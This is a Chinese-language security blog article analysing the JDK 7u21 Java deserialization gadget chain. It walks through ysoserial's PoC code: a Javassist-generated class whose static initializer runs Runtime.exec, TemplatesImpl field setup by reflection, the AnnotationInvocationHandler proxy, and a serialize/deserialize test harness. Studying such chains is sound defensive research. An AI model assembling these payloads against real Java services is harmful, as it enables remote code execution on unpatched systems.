Java安全之Jdk7u21链分析

阅读量246449

|

发布时间 : 2020-11-23 15:30:39

 

0x00 前言

其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就来做一个简单的分析。

在前面分析的利用链中,其实大致都差不多都是基于InvokerTransformerTemplatesImpl这两个类去进行执行命令,而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个Jdk7u21链中也是基于TemplatesImpl去实现的。

 

0x01 Jdk7u21链构造分析

先来看一下该利用链的在yso里面给出调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

从这里其实可以看到JDK 7u21的这条链相对来说,比前面的链需要的知识量要大一些,分析得也会比较绕。但是其实到了TemplatesImpl.getOutputProperties这一步其实也是和前面的相同。

本篇文就直接使用yos里面的POC来展开话题。

public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        return set;
    }

因为是第一次写这个yso里面POC的分析文章,所以会写得详细一些。就先从第一行代码看起。

final Object templates = Gadgets.createTemplatesImpl(command);

这里是调用了Gadgets.createTemplatesImpl这个静态方法,并且传入执行的命令进去。来跟进一下该方法,查看该方法的实现。

这里是返回了他的重载的方法,并且把传入了命令与TemplatesImplAbstractTransletTransformerFactoryImpl这三个对象。来到他的重载方法中。

在重载方法中对传入的TemplatesImpl使用反射创建一个实例化对象。再来看下面的一段代码。

这里看到其实和前面CC2链的构造是一样的。使用Javassist动态创建一个类,并将其中的静态代码块设置为Runtime执行命令的一段代码,然后将其转换成字节码。可以看到和前面不一样的其实就是这里是使用了insertAfter,而前面的链中使用的是setBody去在静态代码块中插入恶意代码。但是效果其实都是一样的。可自行尝试。

对应的POC代码:

 ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

再来看下一段代码。

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

这个其实有了前面分析了简易化后的利用链POC的基础后,其实很容易懂,这里其实就是使用了Reflections.setFieldValuetemplates里面的_bytecodes设置为前面动态创建的类的字节码。

下面的_name设置为Pwnr字符,而_tfactory设置为TransformerFactoryImpl由反射创建的实例化对象。

Reflections.setFieldValue的底层代码也是由反射去实现的。

对应代码如下:

Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});

和上面这段代码效果相同,后面设置_name_tfactory也是一样的方式,以此类推。

_name

先来看看这个_name为什么要设置该值。在前面也分析过该变量设置值的原因,这里再来叙述一遍。

在执行到templatesImplgetTransletInstance方法的时候会先去判断name的值如果为空,就会直接返回null,不做下面的执行

_bytecodes

这个_bytecodes前面也分析过。

来看到圈出来的这一段代码,如果_class为空,就会调用this.defineTransletClasses();方法。

跟进一下。

在圈出来的这一步就会去调用loader.defineClass方法然后传入_bytecodes,前面是使用了反射将恶意类的字节码赋值给_bytecodesloader.defineClass这个方法进行一下跟进。

实际中他的底层是调用了defineClass类加载器。关于defineClass类加载器可以将一个字节码进行动态加载。

具体可以看我的Java安全之 ClassLoader类加载器这篇文章。插个题外话,类加载器的调用无非两种方法,要么就是反射去调用,要么就直接继承该类进行重写。

回到刚刚的地方

_class赋值完成后,会在该地方调用newInstance进行实例化。而恶意的类的静态代码块中写入的恶意代码就会进行执行。

_tfactory

看一个大佬的文章说是 在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值。但是我在查询的时候并未看到getExternalExtensionsMap方法,而且在yso里面将设置_tfactory 值的代码给注释了一样能正常执行命令。

在我的物理机 8u181的版本中也没有发现。

后来看到大佬的文章中有该方法

根据大佬的解释是可以看到jdk1.8多了个_tfactory.getExternalExtensionsMap()的处理。我们在jdk1.8的环境下跟踪下程序,发现到这里_tfactory的值为null,所以执行_tfactory.getExternalExtensionsMap()函数时会出错,导致程序异常,不能加载_bytecodes的中的类。

下面再回到刚刚的点,来看下一段POC代码

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

查看一下Reflections.getFirstCtor方法,内部就是使用反射创建一个无参构造的对象

传入的是Gadgets.ANN_INV_HANDLER_CLASS查看一下该静态方法。

该方法返回的是AnnotationInvocationHandler字符。也就是创建了一个AnnotationInvocationHandler的对象,并且调用newInstance实例化该对象,传入Override.class,map。前面说过AnnotationInvocationHandler这个类是用来处理注解的,前面的参数需要传入一个注解的参数,后面的需要传入一个map类型参数

简单来说就是使用反射创建了一个AnnotationInvocationHandler的实例。

Reflections.setFieldValue(tempHandler, "type", Templates.class);

这一段代码其实没啥好说的,就是把tempHandler里面的type的变量改成Templates.class

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

再来看到下一段代码,跟进一下Gadgets.createProxy方法。

这里面实际上就是使用了Templates去做动态代理。

对应POC代码:

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,templates);

接下来就还剩最后一段代码

LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

在下面的代码就很好解释了,实例化一个LinkedHashSet对象将templatesproxy添加进去。

后面的就是将templates_class_auxClasses设置为空,前面的分析中提到过,在templatesImpl中的_class必须为空才会去执行getTransletInstance方法。

POC的代码其实也就这么多,因为yso将一些代码做了一个很好的封装,显得代码量也是比较少,但是如果第一次分析利用链就看yso的代码,会比较乱。POC具体为何这么构造会在调试分析中做一个详细的讲解。

 

0x02 Jdk7u21链调试分析

在该工具里面写一个测试类去获取一下,payload。

   public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("calc");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));

        Object o = ois.readObject();
    }

命令执行成功,接下来来分析一下该利用链调用。

这里使用的是LinkedHashSet.readObject去作为反序列化的入口点,但是LinkedHashSet并没有去实现readObject方法,但是该类继承了HashSet类,所以这里调用的是HashSetreadObject方法。在该方法打一个断点。

该方法在此处调用了,map.put方法,根据一下该方法。

在这里可以看到调用的是HashMap的put方法,这是为什么呢?查询一下HashSet中的Map成员变量

定义成员变量的时候,该map变量其实就是一个HashMap类的属性。

回到刚才的地方

看到这里执行完后,会跨过for 的代码块,执行下面的代码。因为table值是空的,这里就没法进行遍历。

而后面会使用addEntry,将这几个值添加进入,hash的值为hash方法处理TemplatesImpl的值,也就是计算了

TemplatesImpl的hash值。key为TemplatesImpl的实例对象,value则是一个空的Object对象,i参数为indexFor方法处理hash后的结果。

回到这次执行完成,会返回到HashSet的这次循环。

再第二次循环的时候,就会进入到该for循环里面

关键点其实就在这个key.equals前面说过这个key为TemplatesImpl的实例,前面做了一个动态代理,这里调用他的equals就会触发到AnnotationInvocationHandlerinvoke方法。

这个地方还会去调用equalsImpl方法,跟进一下该方法。

var8 = var5.invoke(var1); 语句,这里是通过反射调用 var1 对象的 var5 方法。跟踪一下getMemberMethods方法就知道。

在这里的this.typetemplates对象,使用getDeclaredMethods反射获取方法。

在这里可以看到获取到2个方法。在后面还可以看到一个for循环,然后会遍历var2的值。然后下面使用var8 = var5.invoke(var1);

反射去调用,这里传入的var是TemplatesImpl的实例对象。

这时候就会去调用getOutputProperties方法,其实到这步已经是很清晰了。因为后面的调用步骤和前面使用TemplatesImpl构造恶意类的调用时一样的。

getOutputProperties方法会去调用newTransformer方法,newTransformer又会去调用getTransletInstance方法,

到了后面的就不需要多说了,这里也只是简单描述一下。

参考文章

https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6

 

0x03 结尾

其实在该链中还有一些细节点没去做分析,该链的难点我觉得在于比较绕。这也是为什么后面才去分析这条链的原因,不得不说的一个点是能够完整分析这个链的一些细节点都是大佬,需要有较为深厚的代码功底。

本文由奶思原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/222630

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
奶思
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66